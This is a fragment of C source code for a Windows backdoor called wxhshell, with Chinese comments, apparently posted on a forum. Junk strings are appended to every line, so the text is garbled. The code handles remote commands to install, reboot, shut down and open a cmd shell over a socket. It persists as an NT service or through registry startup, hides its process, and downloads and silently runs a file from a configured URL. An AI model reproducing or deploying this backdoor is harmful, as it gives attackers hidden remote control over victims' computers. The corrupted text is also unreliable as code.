      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0);  eAG)+b  
    break; f5/s+H!  
  } as[! 9tB]  
  // 安装 F#.ph?W  
  case 'i': { '@HCwEuz  
    if(Install()) f|~X}R  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); b|\dHi2F T  
    else bo@, B  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); z8xBq%97us  
    break; Wmx3@]<  
    } +M<W8KF  
  // 卸载 'c3'eJ0  
  case 'r': { B|'}HBkP  
    if(Uninstall()) Tf('iZ2+  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); `Io#440;  
    else h,,B"vPS  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 4b6)+*[O  
    break; ^@Z8 _PZo  
    } ^|2m&2  
  // 显示 wxhshell 所在路径 FwD q@Oj  
  case 'p': { ^$[iLX  
    char svExeFile[MAX_PATH]; YWL7.Y>%5  
    strcpy(svExeFile,"\n\r"); 8i)9ho<  
      strcat(svExeFile,ExeFile); z|\n^ZK=  
        send(wsh,svExeFile,strlen(svExeFile),0); 1X9J[5|ll  
    break; |f(*R_R  
    } "akAGa!V+  
  // 重启 Zx7aae_{  
  case 'b': { c6SXz%'k  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); jINI<[v[  
    if(Boot(REBOOT)) )UyJ.!Fly  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); '6L@l  
    else { ;WhRDmT  
    closesocket(wsh); (*AJ6BQWa  
    ExitThread(0); "{zqXM}:C  
    } ImbA2Gcs  
    break; ;^|):x+O  
    } 9mjJC  
  // 关机 ]bYmM@  
  case 'd': { g1(5QWb  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ):y^g:  
    if(Boot(SHUTDOWN)) f>3)}9?xc}  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); n^*,JL 9@  
    else { oA@c.%&  
    closesocket(wsh); pWP1$;8   
    ExitThread(0); <qEBF`XP=  
    } :[0)Uu{  
    break; 9~jS_Y)"  
    } 1qBE|PwBp  
  // 获取shell 'pB?  
  case 's': { JVr8O`>T  
    CmdShell(wsh); 14*6+~38m&  
    closesocket(wsh); =&(e*u_  
    ExitThread(0); I&<'A [vHl  
    break; 1aUg({  
  } b~@+6 ?  
  // 退出 +@*>N;$  
  case 'x': { ]'$:Y   
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 0G2Y_A&e**  
    CloseIt(wsh); -Kcjnl92i  
    break; 9}Ge@a<j  
    } s)KlKh  
  // 离开 4t3>`x 7  
  case 'q': { s!>9od6^  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); W=OryEV?  
    closesocket(wsh); +;M 5Sp  
    WSACleanup(); 0)ZLdF_6  
    exit(1); Qqk(,1u  
    break; iSg0X8J)  
        } Q{an[9To~P  
  } T8x8TN"  
  } 1kR. .p<"  
{-f%g-@L6|  
  // 提示信息 eKZS_Qd  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); C[d1n#@r  
} ]>%2,+5  
  } 3i'01z  
VL'wrgk  
  return; {3kz\FS  
} kk4+>mk  
zQ<;3+*  
// shell模块句柄 nHRk2l|  
int CmdShell(SOCKET sock) 4:pgZz!  
{ Dsb Tx.vA  
STARTUPINFO si; c27(en(  
ZeroMemory(&si,sizeof(si)); q8FpJ\  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; rS8\Vf]F  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; P"]l/  
PROCESS_INFORMATION ProcessInfo; Ajo IL  
char cmdline[]="cmd"; oN%zpz;OR  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); leI ]zDk=  
  return 0; %~8f0B|im  
} S ?J(VJqE  
`"<hO 'WU  
// 自身启动模式 XXA]ukj;r  
int StartFromService(void) o=K9\l  
{ ,np|KoG|M  
typedef struct 5FF28C)>/  
{ V>GJO(9  
  DWORD ExitStatus; ?mSZQF:d@  
  DWORD PebBaseAddress; NJVkn~<  
  DWORD AffinityMask; Q w - z  
  DWORD BasePriority; 1eEML"  
  ULONG UniqueProcessId; }pnp._j  
  ULONG InheritedFromUniqueProcessId; z( }w|  
}   PROCESS_BASIC_INFORMATION; -;FAS3(wy  
;Krb/qr4_  
PROCNTQSIP NtQueryInformationProcess; w5 ]lU  
%Lb cwh(9  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; d|9]E&;,  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; c2fSpvz  
B& R?{y*  
  HANDLE             hProcess; 67Qu<9}<-  
  PROCESS_BASIC_INFORMATION pbi; MNb9~kM  
x$D^Bh,  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 9yWf*s<  
  if(NULL == hInst ) return 0; I,HtW),  
e6 x#4YH  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); /e^) *r  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); *+2_!=4V  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); @!O(%0 =  
DT)] [V^w  
  if (!NtQueryInformationProcess) return 0; 8{ =ha  
~(huUW  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); lSO$Q]!9  
  if(!hProcess) return 0; ' i<4;=M&  
0a#v}w^ *  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; d_0(;'  
qswC> Gi  
  CloseHandle(hProcess); z@pa;_  
ZkQ6~cM  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); VmN7a6a  
if(hProcess==NULL) return 0; P8|ANe1 v  
yFQaNuZPC  
HMODULE hMod; H$ g*  
char procName[255]; w/rJj*  
unsigned long cbNeeded; Y4swMN8Bq  
}Nwp{["}]L  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); %7w8M{I R3  
vw(ecs^C  
  CloseHandle(hProcess); $p&eS_f  
3dLqlJ^7B  
if(strstr(procName,"services")) return 1; // 以服务启动 +`>E_+Mp  
zUZET'Bm9  
  return 0; // 注册表启动 5>daWmD  
} GKSF(Tnj  
KG9-ac  
// 主模块 _~ei1 G.R  
int StartWxhshell(LPSTR lpCmdLine) O! XSU,  
{ W*#5Sk  
  SOCKET wsl; G$&jP:2q  
BOOL val=TRUE; \[.qN  
  int port=0; 5|N`:h'9M  
  struct sockaddr_in door; ^Jq('@  
o$Nhx_F  
  if(wscfg.ws_autoins) Install(); OdY9g2y#m  
3o/f, }_  
port=atoi(lpCmdLine); R){O]<+  
8>6<GdGL<n  
if(port<=0) port=wscfg.ws_port; "kBVHy  
ID! S}D  
  WSADATA data; Z f<T`'_d  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; =>tkc/aa  
b7I0R; Zj  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   J5HK1  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 0)~c)B:5  
  door.sin_family = AF_INET; $@71 w~y  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); knph549  
  door.sin_port = htons(port); LP|YW*i=IQ  
rxyeix  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { JS%LJ _J  
closesocket(wsl); w5~j|c=_W  
return 1; -l[$+Kw1S  
} xS5 -m6/  
q>>1?hzA  
  if(listen(wsl,2) == INVALID_SOCKET) { cc_'Kv!  
closesocket(wsl); xP&7i'ag  
return 1; 0H^*VUyW/  
} Q1x&Zm1v  
  Wxhshell(wsl); Lw_|o[I}  
  WSACleanup(); " M?dU^U^  
udA@9a^;  
return 0; PuGs%{$(h  
?Z?(ky!  
} x4L3Z__  
ZAN~TG<n  
// 以NT服务方式启动 >(.|oT\Tb  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) =#y;J(>~|  
{ PQSmBTs.  
DWORD   status = 0; KA?%1s(kJ  
  DWORD   specificError = 0xfffffff; sCrP+K0D  
OW\vbWX  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 87+fd_G  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; =mZYBm,IQ  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Y:,C_^$w;  
  serviceStatus.dwWin32ExitCode     = 0; #Pf<2S  
  serviceStatus.dwServiceSpecificExitCode = 0; <4vCx  
  serviceStatus.dwCheckPoint       = 0; jK*d  
  serviceStatus.dwWaitHint       = 0; ~S;-sxoO0l  
Q>Z~={"  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); g H'hA'  
  if (hServiceStatusHandle==0) return; Xy=ETV%  
3x+=7Mg9  
status = GetLastError(); 2sk7E'2(  
  if (status!=NO_ERROR) ``:[Jr &  
{ uyB2   
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; TaHcvjhR  
    serviceStatus.dwCheckPoint       = 0; v G\J8s  
    serviceStatus.dwWaitHint       = 0; 5=|h~/.k  
    serviceStatus.dwWin32ExitCode     = status; 7I"~a<f0X`  
    serviceStatus.dwServiceSpecificExitCode = specificError; `pZX!6Wn  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Z.Z;p/4F  
    return; 6LGl]jHf  
  } !ae?EJm"  
zm5Pl G  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ppvlU H5;  
  serviceStatus.dwCheckPoint       = 0; !8[A;+o3P  
  serviceStatus.dwWaitHint       = 0; eUB!sR%  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); jmaw-Rx  
} 5!qf{4j  
*p\Zc*N;%  
// 处理NT服务事件,比如:启动、停止 z`E=V  
VOID WINAPI NTServiceHandler(DWORD fdwControl) K2xHXziQ  
{ : q%1Vi  
switch(fdwControl) <iU@ M31  
{ np6G~0Y`  
case SERVICE_CONTROL_STOP: 2v4K3O60G  
  serviceStatus.dwWin32ExitCode = 0; } f&=}  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Zf!Q4a"  
  serviceStatus.dwCheckPoint   = 0; ,;w~ VZ4  
  serviceStatus.dwWaitHint     = 0; klFS3G  
  { sV{\IgH/x  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); "D_:`@V(  
  } 59l9_yFJ  
  return; ^$lZ  
case SERVICE_CONTROL_PAUSE: $u~ui@kB  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Q> y!  
  break; 0'pB7^y  
case SERVICE_CONTROL_CONTINUE: ]7W!f 2@  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; DAWF =p]  
  break; q 9xA.*  
case SERVICE_CONTROL_INTERROGATE: Pm)*zdZ8  
  break; $G"\@YC<  
}; "ckK{kS4~  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); wW\@^5  
} P* 0kz@  
{zm8`  
// 标准应用程序主函数 A"b31*_  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) qQ3Q4R\  
{ q/I( e  
hwXsfh |  
// 获取操作系统版本 dB4ifeT]  
OsIsNt=GetOsVer(); -A w]b} #v  
GetModuleFileName(NULL,ExeFile,MAX_PATH); mL`8COA  
,IboPh&Q78  
  // 从命令行安装 "ufSHrZv  
  if(strpbrk(lpCmdLine,"iI")) Install(); Z@Q*An  
LS<+V+o2%  
  // 下载执行文件 k"DZ"JC  
if(wscfg.ws_downexe) { ~=OJCKv5(  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ]9w)0iH  
  WinExec(wscfg.ws_filenam,SW_HIDE); ,>6a)2xh  
} Evm3Sm!S  
[=jZP,b&),  
if(!OsIsNt) { k $gcQ:|  
// 如果时win9x,隐藏进程并且设置为注册表启动 Sj(>G;  
HideProc(); vJ'22)n  
StartWxhshell(lpCmdLine); {*O+vtir%  
} Bv@p9 ] n  
else <H60rON  
  if(StartFromService()) +CBN[/Z^i  
  // 以服务方式启动 yVK ; "  
  StartServiceCtrlDispatcher(DispatchTable); c{y'&3\  
else |f$+|9Q?  
  // 普通方式启动 %pjeA[-m#  
  StartWxhshell(lpCmdLine); IL.bwt pQD  
# 2^H{7  
return 0; ,ESli/6  
}
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只看该作者 1 发表于: 2006-10-10
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